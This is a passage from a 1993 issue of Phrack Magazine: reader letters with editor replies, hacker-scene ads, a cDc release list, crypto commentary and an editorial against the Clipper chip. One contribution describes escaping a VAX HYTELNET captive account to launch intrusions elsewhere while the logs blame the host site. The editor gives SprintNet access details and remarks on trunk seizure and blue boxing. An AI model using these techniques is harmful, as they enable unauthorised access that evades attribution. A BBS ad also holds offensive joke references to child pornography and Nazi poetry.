The shirt is an extra large, 100% cotton Hanes Beefy‑T, silk screened with four colors on front and eight colors on back.

The front features an "anti‑bell" logo, with your favorite corporate symbol in blue under a slashed circle in red. The ToneLoc logo appears above, with an appropriate quote below.

The back has six Tonemaps, visual representations of exchange scans, contributed by ToneLoc'ers from around the globe. The exchange and scanner's handle is printed below each Tonemap. The handles of the beta testing team are listed below the maps.

If you act now, a free copy of the latest release of ToneLoc will be included with your order! Please specify 3.5" or 5.25" disks.

$15 postpaid; add $5 for international orders.

Make your check or money order payable to "ToneLoc Shirt."

Send to:

ToneLoc Shirt

12407 Mopac Expwy N #100‑264

Austin, TX 78758

Voice Mail (24 hours): 512‑314‑5460

‑ Mucho Maas

‑ Minor Threat

[Editor: I have one of these. The only hacker program immortalized in cotton. Nifty!]

****************************************

The return of a telecom legend...

&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&

&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&

&& &&&&&&& &&&&& &&&&&&&&&&&

&& &&&&& &&&&&&&&& &&&&& &&&&& &&

&& &&& &&&&&&&&& &&&& &&&& &&

&& & & & &&&&&&&&& &&& & &&& &&

&& && && && && && &&& && &&

&& &&& &&& && &&&&& && &&& && &&

&& &&&&&&& && &&&&& && &&& && &&

&& &&&&&&& && &&&&& && && &&

&& &&&&&&& && &&&&&&&&& &&& && &&

&& &&&&&&& && &&&&&&&&& &&& && &&

&& &&&&&&& && &&&&&&& &&& && &&

&& &&&&&&& && &&&&&&&&& &&& && &&

&& &&&&&&& && &&&&&&&&&&&&&&& &&

&& &&&&&&& &&&&&&&&&&&&&&&&&&&&&&

&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&

&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&

S O U T H W E S T

A Neon Knights/Metal Communications Experience

cDc

_

((___

[ x x ]

cDc \ / cDc

(' '

(U)

'..and none but the Bovine survived the onslaught'

‑cDc‑ CULT OF THE DEAD COW ‑cDc‑

cDc communications

‑cDc‑ D0PE SYSTEM ‑cDc‑

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Very K‑Rad

713‑468‑5802

No Lame Ratios

Running Baphomet

Sysd00d : Drunkfux

86,400 Seconds A Day OoOOooOdlez o' T‑Files The Official HoHoCon BBS New Pimping Tips Every Day Tonz o' Nifty Ascii Pictures Talk To Satan Himself.. Live!! Free 5‑Digit Metro K0DEZ For All d0Pe Gifs Of Gail Thackeray Online Read Hate Filled Nazi Skinhead Poemz Home Of K‑RAP : The K‑Rad Ascii Possee Learn How To Make Money! Just Ask Byron! Necropheliacs & Kidporn Kollekt0rz Welcome Y0 Y0 Y0 Lonely D00dz! We gotz girlie uzerz! Lots Of Message Bases With Really K‑KeWL Names Is This Whole "Volcano Ad" Thing Stupid Or What? GNU Warez From The Future! We Have A Time Machine! I Think We Have One Of Those Big, EL8 Drive Thingies No Net Access? Submit Your cDc & Phrack Articles Here! The Only System Authorized By The Debbie Gibson Fan Club The Neon Knights Did NOT Die, We Just Went Way Underground This Thing Is Starting To Look Like That Album St0nerzz Like Mega KooL Games Like Lemonade Stand And Hunt The Wumpus Deluxe Hey! It's The Mashed Potato Mountain Thing From Close Encounters Users Include Lots Of Elite Peoplez You See On Shows Like Dateline That Really Trendy Super High Speed Modem All Those Warez DooDz Have cDc / CuD / dFx / Neon Knights / NIA / Phrack / uXu / Video Vindicator Telco / Systems / Networks / Security / Cellular / Satan / Death / K0DEZ

****************************************

Hi there!

As a beginner in Cyberspace & a new reader of Phrack, I just wanna say thiz... IT'S X‑CELLENT DUDES!!!!!.

Keep the good work!!!!!.

I only have your latest issue, and I never read previous ones, so this is maybe old stuff... but I would like to see the Infonet network and Datapac covered in some of UR articles... let me know if u published something in recent issues.

Greetings from South America,

LawEnforcer.

(yes, it's an Alias!!!)

[Editor: Well, InfoNet we've never done. Any takers? Datapac I personally scanned some time ago, but almost ALL of the 100K of NUA's I found still work. Maybe someone should take my script and re‑scan it. Anyone? Class? Bueler?]

****************************************

begin contribution‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

VMS machines that have captive accounts often have accounts such as HYTELNET. This is an account which will archie for you, or take you to a few select BBSs or any of many boring things to do. You simply log in as HYTELNET, there isn't a password, and go through the menus. Now, that's where the fun begins. If you use HYTELNET to telnet anywhere, while it is connecting, simply type your local telnet escape key (something like ^\ or ^]) and then........you have a telnet prompt. Unfortunately, if you close or disconnect, it will return to the HYTELNET menus, and you can't open a new connection, since you're already connected. So, what you do is SPAWN whatever process you want.....you could SPAWN TELNET or SPAWN FTP or SPAWN anything else for that matter. SPAWN with no arguments (the shell escape) does not work, however. This works from any captive account that telnets. So, you can telnet to a VAX that has HYTELNET, log in as HYTELNET, do what I told you, and then hack to wherever, since the reports from the target site will show that HYTELNET@insert.vax.site committed the heinous crimes that you did.

Kaneda

end contribution‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

[Editor: Kaneda: thanks for that tidbit. Now I'm sure to get grief on IRC from someone coming from an odd site. :) Give my regards to Tetsuo. "But some day...we will be"]

****************************************

_ _

((___))

[ x x ] cDc communications

\ / Global Domination Update

(' ') #12 ‑ April 1st, 1993

(U)

Est. 1986

New gNu NEW gnU new GnU nEW gNu neW gnu nEw releases for April, 1993:

_________________________________/Text Files\_________________________________

221: "Sickness" by Franken Gibe. Paralyzed by thoughts. Rage! Fight! Dark!

222: "A Day in the Life of Debbie G1bs0n" by The Madwoman. The pop idol faces her arch enemy on the fields of ninja combat and in the arms of love.

223: "The B!G Envelope Stuffing Scam" by Hanover Fiste. How to get money. Make Sally Struthers proud of you.

224: "The Bird" by Obscure Images. Story 'bout a sad guy who laughs at birds. It's depressing. Oi's a kooky guy.

225: "Tequila Willy's Position Paper" by Reid Fleming and Omega. Unknown to most, Tequila Willy thew his hat in the ring for the 1992 presidential election. Here's the paper detailing his positions on all the important issues. Better luck in '96, eh?

226: "Simple Cryptology" by Dave Ferret. Introductory guide to cryptology which also includes a good list of other sources to look into.

227: "Big Ol' Heaping Pile of Shit" by Suicidal Maniac. Buncha poems about lots of things. Wacky.

228: "ISDN: Fucking the Vacuum Cleaner Attachments" by Reid Fleming. Intended for _Mondo 2000_, this file drops science about everyone's favorite future phone system.

229: "The Evil Truth About Peter Pan" by Lady Carolin. It's a whole mess of things you and your puny little mind might not have noticed about this popular kiddie (hah!) story.

230: "The 2:00 O'Clock Bus" by Tequila Willy and Bambi the Usurper. Geriatric porn with some doggy flavor.

_____________________________/Other Stuff to Get\_____________________________

From: cDc communications/P.O. Box 53011/Lubbock, TX 79453

This is Swamp Ratte's stuff:

All the cDc t‑files on disk by mail, for convenience sake! Specify MS‑DOS or Apple II format 3.5" disks. $3.00 cash.

cDc stickers! Same design as were flying around at HoHoCon, with the scary‑lookin' cow skull. k00l. Send a SASE and 50 cents for a dozen of 'em (or just send a dollar).

Weasel‑MX tape! _Obvious_ 45‑minute cassette. This is Swamp Ratte's funk/punk‑rock/hip‑hop band. It's a mess, but fun. $3.00 cash.

cDc hat! Yeah, get yer very own stylin' black baseball cap embroidered with the cDc file‑header‑type logo on the front in white. This isn't the foam‑and‑mesh cheap kind of hat; it's a "6‑panel" (the hat industry term) quality deal. Roll hard with the phat cDc gear. $15.00 plus a buck for postage.

_Swingin' Muzak_ compilation tape! An hour of rockin' tuneage from Weasel‑MX (all new for '93), Counter Culture, Acid Mirror, Truth or Consequences, Grandma's V.D., and Sekrut Squirrel. Lotsa good, catchy, energetic stuff for only $5.00 cash.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

From: FNORD! Publications/2660 Trojan Dr. #912/Green Bay, Wisconsin 54304‑1235

This is Obscure Images' stuff:

FNORD! 'zine #1 & #4 ‑ $2.00 Each

Shoggoth 912 #1 ‑ $0.75

For some snarly techno grooves, send away for the new tape from Green Bay's finest (and only) technorave sensation, I OPENING! IO‑Illumination Demo Tape (7 songs of joy) ‑ $5.00

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

From: Freeside Orbital Data Network/ATTN:dFx‑HoHoCon‑cDc/11504 Hughes Road #124 Houston, TX 77089

This is Drunkfux's stuff:

HoHoCon '92 T‑Shirts : Black : XL : Elite : Stylish : Dope : Slammin' Only $15 + $2 shipping ($2.50 for two shirts).

Your choice of either "I LOVE FEDS" or "I LOVE WAREZ" on front, where "LOVE" is actually a red heart, ala "I LOVE N.Y." or "I LOVE SPAM." On the back of every beautimus shirt is...

dFx & cDc Present

HOHOCON '92

December 18‑20

Allen Park Inn

Houston, Texas

HoHoCon '92 VHS Video : 6 Hours : Hilariously Elite : $18 + $2 Shipping

Please make all checks payable to O.I.S. Free cDc sticker with every order! w0w!

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

From: Bill's Shirt Thing/P.O. Box 53832/Lubbock, TX/79453

This is Franken Gibe's stuff:

AIDS sucks! Order a catalog! Nifty t‑shirts that make you happy. Proceeds go to local AIDS Resource Center. Send a $0.29 stamp for the cat'.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

From: Teach Me Violence magazine/61 East 8th St./Suite 202/New York, NY 10003

This is The Pusher's stuff:

Teach Me Violence 'zine:

Issue #1 (Mr. Bungle, COC, Murphy's Law)

Issue #2 (Helmet, Supertouch, Agnostic Front, American Standard) Issue #3 (Faith No More, Chris Haskett, Cathedral, Iceburn, Venom) $3.00 cash each

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

From: A Day In The Life Of.../P.O. Box 94221/Seattle, WA 98124

This is Lady Carolin's stuff:

A Day In The Life Of... 'zine, free with two stamps.

Bi‑monthly contact list of girlie bands/grrrl bands/female vocalists. $1.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

__________________________________/cDc Gnuz\__________________________________

"cDc: savin' trees in '93"

Hiya once again, here's whassup:

NEW Internet FTP site: zero.cypher.com. This is Drunkfux and Louis Cypher's chilly‑the‑most deal. Login as "anonymous" and get all the cDc stuph fast fast fast.

NEW cDc Mailing list: Get on the ever‑dope and slamagnifiterrific cDc mailing list! Send mail to cDc@cypher.com and include some wonderlessly elite message along the lines of, "ADD ME 2 DA MAILIN LIZT!!@&!"

NEW Official cDc Global Domination Factory Direct Outlets: Cyberspace.Nexus +31‑67‑879307 [Belgium] Mirrorshades BBS 903/668‑1777

The Ministry of Knowledge 401/043‑3446

The Crowbar Hotel 713/373‑4031

We're always taking t‑file submissions, so if you've got a file and want to really get it out there, there's no better way than with cDc. Upload text to The Polka AE, or my Internet address, or send disks or hardcopy to the cDc post office box in Lubbock, TX.

NEW updated CDCKC0W.TXT file. All the information for sysops to get going running Factory Direct Outlets. It should be available from wherever you got this Update.

NEW CDCV9.ZIP is out containing cDc t‑files 201‑225. Factory Direct Outlet sysops should get this and put it up on their systems.

See ya in May.

S. Ratte'

cDc/Editor and P|‑|Ear13zz |_3@DeRrr

"We're into t‑files for the girlies and money."

Write to: cDc communications, P.O. Box 53011, Lubbock, TX 79453. Internet: sratte@cypher.com, sratte@mindvox.phantom.com.

[Editor: Whew. Any word on those cDc Glow in The Dark Toilet Seat Covers? I've got my 29.95 ready!]

****************************************

Hey there a few of us use this account and wuld like to get phrack sent to us here if at all possible... :)

We are all Australians and all read your magazine to death..

a friend of mine runs a board called shred til ya ded which is basically a hpac and warez assortment... nothing 0 day but definately good for hacking info... we are in the middle of getting all of your mags online at the moment you mentioned in phrack 42 that you would like people from other countries to write pieces about the scene there... well depending on the kind of thing you want i would be more than happy to give it a go with some mates thanks

Darkstar

[Editor: Darkstar and anyone else‑‑send me your files about your scenes in other countries. Nearly everyone who promised me a file about their country flaked out. You'll see who did send me a file later in this issue. Other countries: get off your duffs and send me a file! We want to know what goes on there! Boards, Busts, History, Hackers, Hangouts, Groups, Greats, Legends, Lore, EVERYTHING!]

****************************************

I remember seeing a message somewhere on the WELL saying an issue of Phrack carried listings of Viruses. Could you tell me which one(s)?

Also, do you know of any sites which have virus listings archived ?

Thanks,

Jon Barber

[Editor: Well, John, Phrack doesn't carry virii info. You might check around for 40hex. Personally, I think virii are vastly overrated hype driven onward by McAffee and other self‑serving interests. That is why we ignore them. (That is also why I don't mention them when I lecture on computer security...they are no big thing.)]

****************************************

Ok,

So I was reading Phrack 42's listing for SprintNET nodes... But there was no information on how to access it..

What are the ACNS For the Sprintnet? Is there a Phrack out that details use of the SprintNET..

Would appreciate ANY and ALL, as I've never heard of it being used widely like the Internet, and would like to know how to use it..

Jack Flash...

[Editor: Jack...you kids are spoiled. You and your Internet. Hrumph. Remember when Arpanet was like a 20 or so Universities and Contractors, and tied to about 100 bases thru Milnet? No? Sheesh.

To answer your question, Sprintnet (used to be Telenet, and always will be to me) is a public packet switched network. It can be accessed in nearly EVERY city in the USA, and in many large cities in other countries.

The Toll‑Free dialups are: 300‑2400: 800‑546‑1000

9600 v.32: 800‑546‑2500

At the TERMINAL= prompt, type D1. Then to find a local dialup, at the @ prompt type MAIL. Login as username PHONES password PHONES.]

****************************************

RE: Loop‑Back

I was wondering if it would be possible for you to do something on Novell LAN security, as we have one at my high school. I was also wondering about bluebox tones...in my area, if you call into the next county, sometimes you hear what sounds like bluebox tones. I had thought these lines were digital, and therefore, would not require tones of any type.. any ideas?

RF Burns

[Editor: As for the Novell...check later in this issue. As for the MF tones...when calls go from one area to another it is quite common to hear multi‑frequency tones. Depending upon the way the call is routed, your particular pick of LD carrier and the equipment between you and the destination, you may hear these tones. You may even be one of the lucky ones, and be able to seize a trunk. Using certain LD carriers you can still box, but usually you are stuck with a trunk that can't get out of the area. Alas.]

****************************************

Hi ‑

I'm a student in the MLS program here at SUNY Albany. I

found out about Phrack while researching a paper for my public policy class, on the ECPA and shit.

Well, I gave a fabulous 45‑minute presentation on it all and then wrote an even better paper for which I was rewarded with an A as well as an A for the class. Turns out John Perry Barlow and Mitch Kapor are heroes of my professor as well.

So now I'm hooked. For my thesis I'm writing a user manual for librarians on the Internet and helping teach a class in telecommunications.

Just wanted to let you phrack‑types know you're my heroes and I want to be a member of the phrack phamily. Can't send any money, though. *:(

Keep the faith,

hopey t

[Editor: That's really great! Usually profs are terribly anal about anything regarding Phrack and/or hacking. You are very lucky to have had such an instructor. Congrats on the class and good luck with your thesis!]

****************************************

Hi!

I was just glancing through Phrack #42, and read the portion that sez that all computer professionals (essentially) have to delete this and even old copies of Phrack.

Coupla questions: I'm a Network Administrator for a University, do I have to comply? It's not like I am a thug from Bellcore or anything like that. Although one of the things I am concerned with, professionally, is the security of our systems, I am no Cliff Stoll. If I were to catch an unauthorized visitor, I would give him the boot, not chase him down with prosecution in mind.

I have, of course, deleted all my old Phracks as well as #42, but I would like to be able to re‑snarf them. Let me know...

Thanks!

Dan Marner

[Editor: Well, Dan, technically Phrack could quite possibly be beneficial to you and assist you with your career, and this is the typical scenario in which we request that you register your subscription and pay the registration fee. Of course, we don't have the SS as our own personal thugs to go break your legs if you don't comply. :) You might at least try to get your employer to pay for the subscription.

As far as issues prior to 42 go, KEEP THEM! They are exempt from anything, and are arguably public domain.]

****************************************

Hey,

I need to get in touch with some Macintosh phreakers. Know any? Anyway, are there any good war dialers or scanners out there for Macintosh? I need something that picks up PBXs and VMBs as well as Carriers.

Thanx in advance...

[Editor: I personally avoid the little toadstools like the plague, and I was unable to get a hold of the only hacker I know who uses one. If anyone out there on the net could email us with the scoop on Mac hacking/phreaking utilities it would be most appreciated.]

****************************************

Hello! I was just wondering if you knew of any FidoNet site that carries back issues of phrack. The main reason behind this, as my link through the Internet is basically through a FidoNet‑type network and I am unable to ftp files. Any help would be appreciated!

Thanks!

Jason K

[Editor: Phrack pops up everywhere. I would be very surprised if it wasn't on a ton of fido sites. However, I have no idea of what those sites may be. If anyone knows of any, let us know!]

****************************************

Can you give me the email address for the 2600 Magazine or whomever the person in charge.

I've no idea how to contact them, so that's why I'm asking you.

I'm much obliged.

Thanks,

MJS

[Editor: 2600 magazine can be reached at 2600@well.sf.ca.us To subscribe send $21 to 2600 Subscriptions, P.O. Box 752, Middle Island, NY, 11953‑0752.

To submit articles write to 2600 Editorial Dept., P.O. Box 99, Middle Island, NY, 11953‑0099.

Note: If you are submitting articles to 2600 and to us, please have the courtesy of LETTING BOTH MAGAZINES KNOW IN ADVANCE. Ahem.]

****************************************

Do you know if there has been a set date and place for the next HoHoCon?

Best Regards,

Mayon

[Editor: Actually, it's looking more and more like HoHoCon will be December 17, 18, 19 in Austin, TX. It may still be in Houston, but methinks the Big H has had about enough of dFx. We'll let you know when we know for sure.]

****************************************

Reporter for major metro paper is interested in help finding out anything there is to find on four prominent people who have volunteered to have their privacy breached.

Financial fundamentals. Lives of crime. Aches and pains. How rich they are, where they vacation, who they socialize with. You name it, we're interested in seeing if it's out there.

All for a good cause.

If you're willing to advise this computer‑ignorant reporter, or dig in and get the dope on these volunteers, please contact him at tye@nws.globe.com Or call at 617‑929‑3342.

Help especially appreciated from anyone in the BOSTON area. Soon.

Thanks.

[Editor: Interesting. This showed up in my box in late June, so it should still be going. I would recommend watching yourselves in any dealings with journalists. Take it form one who has been burned by the press. (And who has a journalism degree himself.)]

****************************************

Hey there...

I don't know if this will get to Dispater or to the new editor. Since the change in editorship, the proper way to contact Phrack has become sort of a mystery. (The new address wasn't included in Phrack 31.)

Anyway, I'm writing to bitch about the quality of #31. I've got two main beefs: 1. The article about fake‑mail was GREAT until it turned into a "how‑to" primer on using the info given to cause damage. That is exactly the kind of thing that will end up getting you sued. I have some legal background, and I'm pretty sure that the author of that article and possibly even Phrack itself and its editors are now open to a damn good argument for tortuous negligence if anyone follows the instructions and damages someone on Compuserve, etc.

The argument will go something like, "Phrack set into motion a chain of events that led to my client being damaged." You guys should have just given the info, and left off the moronic ways to abuse it.

2. The article on "Mall Security Frequencies" was copied directly from Popular Communications, Nov. 1992 issue. Hell, that was even their cover story. Can we say "copyright enfringement?" If not, I'm sure you'll be _hearing_ it a few more times. If I was still practicing, I'd call 'em up and ask their permission to sue on contingency. Split the damages obtained on a motion for summary judgment 50/50 with them. It would only take a week and one filed complaint...

Point is, you have opened yourselves up to get sued and lose EASILY. As much as I've enjoyed reading Phrack over the years, if this new staff continues in this manner, I'll be stuck with back‑issues.

Cyber (305)

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

To find out more about the anon service, send mail to help@anon.penet.fi. Due to the double‑blind system, any replies to this message will be anonymized, and an anonymous id will be allocated automatically. You have been warned. Please report any problems, inappropriate use etc. to admin@anon.penet.fi. *IMPORTANT server security update*, mail to update@anon.penet.fi for details.

[Editor: I think you meant 41, not 31. But to answer your points:

1) As long as there is a first amendment, Phrack will continue to print articles that some may or may not agree with. Printing the blueprints for an atomic bomb does not make you an accomplice to those who build it and detonate it.

2) Numbers are numbers. Can we even spell "copyright infringement?" If you were still "practicing..." We at Phrack wholeheartedly encourage you to again pick it up, and keep practicing and practicing until you get whatever it is you were practicing down pat. Obviously it must have been guitar, and not law.

Such a litigious society we live in. Suing Phrack would accomplish nothing. It would not even hinder its publication. Since Phrack has no money, nothing would be gained. Even if fined, Phrack could not be forced to sell its computer equipment to pay fines, since this would be removing the livelihood of the publisher, thus it would continue its quarterly publication. Where on Earth did you get such ideas? You obviously know nothing about lawsuits. Any lawyer would laugh at the thought of suing Phrack since it would gain nothing financially, and provide such a huge amount of bad publicity that even if a judgement were reached in their behalf it would not be worth it. Oh wait, you were a lawyer. Now I know why the past tense.

But you are correct on one point: we cannot print copyrighted material without permission. You may have noted that last issue (among other changes) Phrack no longer includes full text of news items without prior permission from the publisher. That was the ONLY thing that worried me about publishing Phrack, and so I changed it.

We at Phrack welcome constructive criticism, but at least have the nerve to email directly, rather than hide behind an anonymous remailer. That way, someone could have responded to you in a more direct and expeditious manner.]

****************************************

Dear Sir/Madam,

I am a student at ukc in England and wish to subscribe to Phrack receiving it as email at the following address ks16@ukc.ac.uk thank you and keep up the good work.

We use unix and I would be interested in getting a copy of su (switch user) which looks for the user file passwd.su in the users home directory. I don't know much about unix, but I do know it would need to run from my home directory and access the kernel.

Many thanks for any help you may be able to give.

S

[Editor: Its "SIR" hehe. Sir Bloodaxe. In any case, if anyone would care to draft up this modification to su and send it in I'll print it in the next issue's line noise.]

****************************************

I had some beef with Rack's article in PHRACK 42. I've attached a writeup of comments; you're welcome to a) forward it to him, b) shitcan it, or c) publish it.

thx,

‑Paul

My background: I've been into the scene for about 12 years. My day job is writing unix s/w for a NASA contractor. My night job... well, never mind that. I have a strong amateur interest in crypto, and I'd like to share some of what people in the usenet/Internet community have been kind enough to teach me.

Racketeer sez:

> If you think that the world of the Hackers is deeply shrouded with >extreme prejudice, I bet you can't wait to talk with crypto‑analysts. These >people are traditionally the biggest bunch of holes I've ever laid eyes on. In >their mind, people have been debating the concepts of encryption since the >dawn of time, and if you come up with a totally new method of data encryption, > ‑YOU ARE INSULTING EVERYONE WHO HAS EVER DONE ENCRYPTION‑, mostly by saying >"Oh, I just came up with this idea for an encryption which might be the best >one yet" when people have dedicated all their lives to designing and breaking >encryption techniques ‑‑ so what makes you think you're so fucking bright?

One real reason for this reaction is that people _have_ been studying encryption for 100 years or so. As a result, many simple cryptosystems are continually being reinvented by people who haven't ever made even a simple study of cryptosystems.

Imagine if someone came up to you and said "Wow! I just found a totally K00L way to send fake mail! It's radical! No one's ever thought of it before!"

You'd laugh, right? _Anyone_ can figure out how to forge mail.

Well, _anyone_ can come up with the n‑th variation of the Vigniere or substitution cipher.

An even more important reason for their 'tude is that cypherpunks are suspicious by nature. A key principle of crypto is that you can only trust algorithms that have been made public and thoroughly picked over. Without that public scrutiny, how can you trust it?

The fedz' Digital Signature Standard (DSS) got raked in the crypto and industry press because the fedz wouldn't disclose details of the algorithm. "How do we know it's secure?" the cypherpunks asked. "We won't use it if we don't know it's secure!"

Point being: (for those of you who skipped over) cypherpunks trust NO ONE when the subject is encryption algorithms. Maybe J. Random Hacker has come up with a scheme faster and more secure than, say, RSA. If JRH won't share the details, no one will use it.

Racketeer goes on to talk about DES. One important thing to note is that the unix crypt() function has NOTHING to do with DES. Here's part of the SunOS 4.1.2 man page for crypt():

crypt implements a one‑rotor machine designed along the lines of the German Enigma, but with a 256‑element rotor. Methods of attack on such machines are widely known, thus crypt provides minimal security.

It's fairly clear that for a known‑ciphertext attack (i.e. you have a block of encoded text, but neither the key nor the plaintext) will, at worst, require 2^56 decryption attempts. Various schemes for parallel machines and so forth have been posted in sci.crypt. Does the NSA have something that can crack DES? Probably.

Remember that DES is mostly used for short‑lived session keys. ATMs are a good example; they typically use a DES key for one communication session with the central bank. New session, new key. DES is _not_ very well suited for long‑term encryption, since it can probably be attacked in "reasonable" time by a determined, well‑equipped opponent.

Now, on to PGP. Pretty Good Software was indeed threatened with a lawsuit by Public Key Partners (PKP). PKP holds the patent on the RSA public‑key algorithm. (Many people, me included, don't think that the patent would stand up in court; so far, no one's tried.)

The nice thing about PGP is that it offers IDEA and RSA in a nice package. When you encrypt a file, PGP generates an IDEA session key, which is then encrypted with RSA. An opponent would have to either a) exhaustively search the entire IDEA key space or b) break RSA to decrypt the file without the password.

Racketeer also mentions that PGP can optionally compress files before encryption. There's a solid crypto reason behind this, too. One well‑known and successful way to attack an encrypted file is to look for patterns of repeated characters. Since the statistical frequencies of word and letter use in English (and many other languages; some folks have even compiled these statistics for Pascal & C!) are well‑known, comparing the file contents with a statistical profile can give some insight into the file's contents.

By compressing files before encrypting them, PGP is moving the redundancy out of the text and into the small dictionary of compression symbols. You'd still have to decrypt the file before you could do anything useful with that dictionary, or even to determine that it _had_ a signature!

[Editor: Well, Rack is not to blame for all complaints I got about the file. I printed a file that was several KBytes short of complete. I noticed it seemed odd, but was assured by Rack, TK & Presence that I had received the correct file. I was misinformed, and should have known better than to print a file I should have known was incomplete. I apologize to Rack & to all of you.

About the other gripes: Rack, care to reply?]

****************************************

In issue #42 of Phrack there was an article about the USPS' practice of selling change of address information without consumer consent. I sent the supplied form letter and carbon copied my congressman and senators. Today I received a reply from the USPS Records Office.

April 1, 1993

Dear Mr. Rosen:

This concerns your recent Privacy Act request for accountings of disclosure of mail forwarding information you have provided to the Postal Service.

Disclosure of your forwarding address might have been made to individual requesters by post offices or to subscribers to the National Change of Address File (NCOA) by an NCOA licensee. The NCOA is a consolidated file of all forwarding information provided by postal customers and stored on automated media. Listholders may subscribe to NCOA to obtain the new addresses of individuals for whom they already have in their possession the old address.

For disclosures made by post offices, we are in the process of querying the Washington, DC postmaster for any accountings.

For disclosures made from the NCOA system, we will begin querying NCOA licensees all of which keep logs identifying the particular subscribers to whom they have given NCOA information. This accounting will not identify with certainty the subscribers who have in fact received your new address, but will give you a list of all subscribers receiving NCOA service for the relevant time period and thus might have received your address.

Because a large number of requests like yours are being received, there will be a delay in responding. Requests are being processed in order of receipt and you will be sent the accountings as soon as possible. Your patience is appreciated.

Sincerely,

Betty E. Sheriff

USPS Records Officer

[Editor: Thanks for sending that letter in! Amazing that someone in the maze of red tape even thought to make a form letter to respond. I think I'll demand a disclosure as well.]

****************************************

Phrack 42 Errata

We mistakenly noted that the TRW video shown at HoHoCon was dubbed by Dispater and Scott Simpson. It was actually made by Dispater and ZIBBY.

****************************************

==Phrack Magazine==

Volume Four, Issue Forty‑Three, File 3a of 27

EDITORIAL

My Problems With Clipper

by Chris Goggans

The introduction of the new government backed encryption chip, Clipper, has become a much debated issue. I like many others have a large number of problems with the chip and the problems it may bring in the future.

Why should we believe that this algorithm is robust? For years and years the NSA has backed DES as the encryption standard, when cryptoanalysts have consistently brought its strength into question. Additionally, the NSA has forced companies to submit their routines for analysis before allowing them to be distributed commercially. At times they have even requested that the algorithms be purposely weakened (we will assume that this was so they could more easily decipher the encrypted data.)

With this in mind, why should we now meet anything endorsed by the NSA with anything but suspicion? And the fact that they refuse to release the algorithm for security reasons even further adds to the suspicion that this chip is either inherently weak and easily broken by the NSA or that there is a backdoor in the algorithm that will allow the NSA to effortlessly view any data encrypted with the Clipper.

Assuming that the government is on the level (for once), and they cannot decipher Clipper‑encrypted data without legally obtaining keys from the assigned escrow agents. The idea that the government will have to go before a judge and show just cause for needing the keys pacifies some, but from my own personal experience, the government will always get what they want. If the Secret Service could get a search warrant to enter my home based solely upon one posting to an electronic bulletin board, they could certainly obtain the necessary keys needed to decipher my speech. In fact, most non‑technical persons will become needlessly suspicious upon the mere mention of someone using encrypted speech mechanisms and be more easily swayed to release the keys to law enforcement.

Should Clipper be adopted by various government agencies for use, this could have serious trickle‑down effects upon the lives of regular citizens. Let's say the military decides that they will use Clipper. They will then most likely require their various contractors to use it as well. Then after continued use, the contractor may begin to tell its other customers to communicate with them using Clipper also. Usage could grow exponentially as more and more people become comfortable with the use of the secure communications devices until it becomes a defacto standard without any legal pressures to use it ever mandated by Congress. Should Congress mandate its use in any form, even if only within the government itself, this potentiality will rapidly become reality.

If Clipper eventually receives such accepted use, anyone using any other type of encryption will be immediately suspect. "Why aren't you using the chip? What do you have to hide?" The government may even outlaw the use of any other encryption technologies, and if America

has become comfortable and satisfied with Clipper such a law may go unchallenged, after all, only spies, child pornographers and drug dealers would have something to hide, right?

As the world's computer networks creep ever further into our daily lives, and the speed and power of supercomputers multiplies every year a rather frightening scenario emerges. Since the government is a major funder of the Internet, who is to say that Clipper won't become the basis for encrypting over its lines? As our country moves closer to ISDN and the PSTN and the PSDN's become more intertwined, who is to say that Clipper won't be the basis for encryption since companies like AT&T already endorse it?

Imagine if you will, a massively parallel supercomputer, the likes of which may not exist yet, in a special room in Ft. Meade, or buried underground in New Jersey, that consistently decrypts all communications and sorts it according to communicating parties. Then through the use of AI, the computer decides whether or not such communication presents a threat "to national security."

The structure of the telephone network already supports such an arrangement. The purpose of the NSA allows for such an arrangement. The advances in computer technology will give the potential for such an arrangement. If Clipper is tainted, yet accepted, there will be no more privacy in America.

Perhaps my view of the government and their ultimate intentions is way off base. I sincerely hope so, as I do not want to be forced to take the mark

Line Noise Part I

==Phrack Magazine==

Volume Four, Issue Forty‑Three, File 4 of 27

// // /\

// // //\\

==== // // \\

/\ // // \\ /

//\\ // // // //

// \\/ \\ // //

****************************************

PHRACK TRIVIA

This is pretty damn hard. In fact, some of it is downright obscure. And the bonuses? Forget about it. Answer the questions, expand the acronyms, explain the numbers.

The five highest scorers by the next issue (or the first 5 to get perfect scores) win COOL STUFF!

Send your answers to phrack@well.sf.ca.us

1) CCIS

2) Stimpson J. Cat's Roommate is?

3) Name the cracker.

4) METAL AE password.

5) Who invented the TeleTrial?

6) Name Bloom County's hacker.

7) What was the Whiz Kids' computer named?

8) Western Union owned what long distance service?

9) What computer read both Apple ][ and IBM PC disks?

10) Who made the "Charlie" board?

11) How many credits for a CNE?

12) What was in the trunk of the Chevy Malibu?

13) Name three bands A. Jourgensen had a hand in.

14) SYSTEST Password:

15) What computer makes the best SimStim decks?

16) What magazine brought the telephone underground to national attention in 1971?

17) What is the significance of 1100 + 1700 hz?

18) What magazine was raided for publishing black box plans?

